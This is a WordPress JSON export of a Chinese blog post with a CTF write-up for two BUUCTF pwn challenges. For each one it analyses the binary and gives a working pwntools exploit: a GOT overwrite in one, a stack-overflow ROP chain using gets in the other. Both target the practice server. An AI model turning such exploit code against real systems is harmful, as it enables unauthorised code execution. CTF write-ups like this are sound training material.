{"id":323,"date":"2025-07-31T12:29:02","date_gmt":"2025-07-31T04:29:02","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=323"},"modified":"2025-07-31T12:29:04","modified_gmt":"2025-07-31T04:29:04","slug":"buuctfpicoctf_2018_got_shell%e3%80%81cmcc_pwnme2","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/31\/buuctfpicoctf_2018_got_shell%e3%80%81cmcc_pwnme2\/","title":{"rendered":"buuctf:picoctf_2018_got_shell\u3001cmcc_pwnme2"},"content":{"rendered":"\n


1\u3001picoctf_2018_got_shell\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dNX\uff0c\u7a0b\u5e8f\u5148\u95ee\u6211\u4eec\u60f3\u5728\u4ec0\u4e48\u5730\u65b9\u8f93\u5165\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u8981\u8f93\u7684\u5185\u5bb9<\/p>\n\n\n\n

win\u51fd\u6570\u5c31\u662f\u540e\u95e8\uff0c\u6211\u4eec\u60f3\u529e\u6cd5\u8981\u8df3\u5230\u8fd9\u91cc<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


main:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5636\uff0c\u90a3\u5982\u679c\u628awin\u7684\u5730\u5740\u8986\u5199\u5230puts_got\u4e0a\u662f\u4e0d\u662f\u5230\u65f6\u5019\u8c03\u7528\u7684\u5c31\u53d8\u6210win\u4e86\uff0c\u5f00\u6574<\/p>\n\n\n\n

2\u3001picoctf_2018_got_shell\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25053)\nelf=ELF(\".\/PicoCTF_2018_got-shell\")\n\nputs_got=elf.got['puts']\nwin=0x804854B\np.recvuntil(\"byte value?\")\np.sendline(hex(puts_got))\np.recv()\np.sendline(hex(win))\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6709\u70b9\u610f\u601d\u554a……<\/p>\n\n\n\n
3\u3001cmcc_pwnme2\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
32\u4f4dNX\uff0c\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
main\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

userfunction\u4f1a\u9020\u6210\u6808\u6ea2\u51fa<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

add flag\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

add home<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

exec_string\u51fd\u6570\uff0c\u4e0e\u6587\u4ef6\u6709\u5173\uff0c\u5e94\u8be5\u548c\u6211\u4eec\u7684flag\u6709\u5173\u7cfb<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u4e3b\u8981\u8fd8\u662f\u6709\u70b9\u61f5aad home\u548cadd flag\u662f\u5565\uff0c\u641c\u4e86\u4e00\u4e0b\u624d\u77e5\u9053\u53ef\u80fd\u662f\u6bd4\u8d5b\u65f6\u7684\u76ee\u5f55\uff0c\u8fd9\u9053\u9898\u6b63\u89e3\u662f\u8981\u62fc\u63a5\u53c2\u6570\u7684\u4f46\u662f\u73b0\u5728\u662f\u968f\u673a\u751f\u6210\u7684flag\u6240\u4ee5\u6211\u4eec\u5c31\u76f4\u63a5\u8be5string,\u6539\u6210flag\u76ee\u5f55\uff0c\u56e0\u4e3abuu\u5237\u9898\u57fa\u672c\u90fd\u5728flag\u91cc\u9762<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u5229\u7528gets\u5728\u8fd9\u4e2a\u4f4d\u7f6e\u6539string,\u6700\u540e\u6211\u4eec\u624b\u52a8\u8f93\u5165flag\u5c31\u884c<\/p>\n\n\n\n
string=0x804A060<\/p>\n\n\n\n
4\u3001cmcc_pwnme2 flag<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26567)\nelf=ELF(\".\/pwnme2\")\n\nexecv_string=0x80485CB\nstring=0x804a060\ngets=elf.sym['gets']\npayload=b'a'*(0x6c+4)+p32(gets)+p32(execv_string)+p32(string)\np.sendline(payload)\np.sendline(b'flag\\x00')\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u4f11\u606f\u4e00\u4e0b\uff0c\u773c\u775b\u8981\u5e9f\u4e86……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001picoctf_2018_got_shell\u5206\u6790 32\u4f4dNX\uff0c\u7a0b\u5e8f\u5148\u95ee\u6211\u4eec\u60f3\u5728\u4ec0\u4e48\u5730\u65b9\u8f93\u5165\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u8981 […]<\/p>\n","protected":false},"author":1,"featured_media":338,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-323","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=323"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions"}],"predecessor-version":[{"id":339,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions\/339"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/338"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=323"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}